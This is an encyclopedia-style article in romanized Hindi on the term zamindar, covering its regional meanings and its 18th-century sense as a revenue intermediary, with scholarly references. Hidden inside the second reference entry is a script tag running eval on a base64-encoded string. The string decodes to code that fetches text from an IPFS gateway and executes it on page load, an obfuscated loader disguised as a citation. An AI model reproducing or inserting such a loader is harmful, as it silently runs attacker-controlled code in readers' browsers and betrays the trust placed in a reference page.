ज़मींदार
zamiandar bharat mean zamin ke malik ya qabiz ko kahate haian. moolatah farasi se vyutpann is shabd ka vyapak roop se prayog un sabhi jagahoan par hua, jahaan mugal ya any bharatiy muslim rajavanshoan dvara farasi prabhav phailaya gaya. is shabd se kee arth ju de hue the.
- bangal mean zamiandar shabd ka prayog aise vanshanugat kar vasoolane valoan ke roop mean hota tha, jo rajy ke lie vasoole ge rajasv mean se 10 pratishat apane pas rakhane ke adhikari hote the.
- 18vian sadi ke aant mean british sarakar ne in zamidaroan ko bhoo-svami bana diya aur is tarah bangal aur bihar mean ek aisa kulin bhoopati varg samane aya, jo 1947 mean bharat ki azadi tak bana raha.
- uttari bharat ke kuchh hissoan (masalan uttar pradesh) mean zamiandar shabd se tatpary ek aise b de bhoo-svami se hota tha, jise bhoomi par sanpoorn svamitv adhikar prapt hote the.
- uttar bharat mean isase bhi zyada prachalit arth mean zamiandar zamin jotane valoan ya gaanvoan ki gochar bhoomiyoan ke sajha uttaradhikariyoan ko kaha jata tha.
- maratha ilakoan mean yah nam samanyatah sabhi vanshanugat adhikariyoan ke lie prayog kiya jata tha.
18vian shatabdi mean zamiandar ka tatpary
"zamiandar" shabd ka, jo pharasi bhasha ka sanyukt pad hai, mool arth "bhoodharak" hai, parantu adhunik vyavahar mean isaka tatpary hai "bhoosvami". 18vian shatabdi mean "zamiandar" shabd, adhunik vidvanoan ki drishti mean, matr "bhoosvami" ka dyotak nahian tha. barnard es. kon ke anusar, "18vian shatabdi mean zamiandar ka tatpary 'madhyasth' se tha. ve vyakti bhi, jo any madhyasthoan se rajasv ekatrit karake ek nishchit rashi sarakar ko bhejate the, 'zamiandar' kahalate the."[1][2]
san 1877 mean ajamagadh janapad ke bandobast adhikari je. ar. rid ke anusar, "musalamanoan ke aantargat zamiandar shabd ka arth utana simit nahian tha, jitana simit arth aj ham is shabd ke sadharan anuvad 'bhoosvami' ka manate haian. is shabd ka prayog, rajasv hetu vachanabaddh hone vale vyakti athava rajasvadata ke lie, chahe vah vastavik bhoosvami ho athava keval madhyasth hi, jisake dvara rajakosh mean rajasv jama kiya jata tha, hota tha.[3]
9vian shatabdi ki ek kriti mean "zamiandar" us vyakti ko kaha gaya hai, jo bhoomi ki dekhabhal karata tha.[4] isi kriti mean likha hua hai ki "islam ke ane par in vyaktiyoan ko zamiandar kaha jane laga. bhoomi ko khandoan mean baant diya jata tha aur pratyek zamiandar ko ek sanad aur nanakar de diya jata tha. zamiandar ko apani zamiandari bechane ka adhikar hota tha. yadi vah kisi aparadh ke lie doshi paya jata, to raja ko yah adhikar tha ki vah usaki zamiandari chhinakar kisi doosare ko de de. parantu samant aur soobedar is adhikar ka upayog nahian kar sakate the.[5]
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tika tippani aur sandarbh
- ↑ janaral aauph di amerikan oriyantal sosayati, khand 82, aank 3, julaee-sitambar 1962, barnard es. kon ka lekh 'p aaulitikal sistam in etianth seanchuri indiya', prishth 395
- ↑ atharahavian sadi ke zamiandar |lekhak: saiyad najamul raza rizavi |prakashak: pipuls pablishiang haus, nayi dilli |sankalan: bharatakosh pustakalay |prishth sankhya: 01 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ je. ar. rid, riport aaun di distrikt aauf ajamagadh kampaild in kanekshan vid di kampalishan aauf di siksth seantilameant, 1877, parishisht sankhya 1, prishth 6, e ki pad tippani
- ↑ british myoojiyam, eand 6603, prishth 65; uddhrit noman ahamad siddaki, mugalakalin bhoorajasv prashasan, 1700-1750, prishth 45
- ↑ je. ar. rid, riport aaun di distrikt aauf ajamagadh kampaild in kanekshan vid di kampalishan aauf di siksth seantilameant, 1877, parishisht sankhya 1, prishth 6, e ki pad tippani
sanbandhit lekh
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varnamala kramanusar lekh khoj
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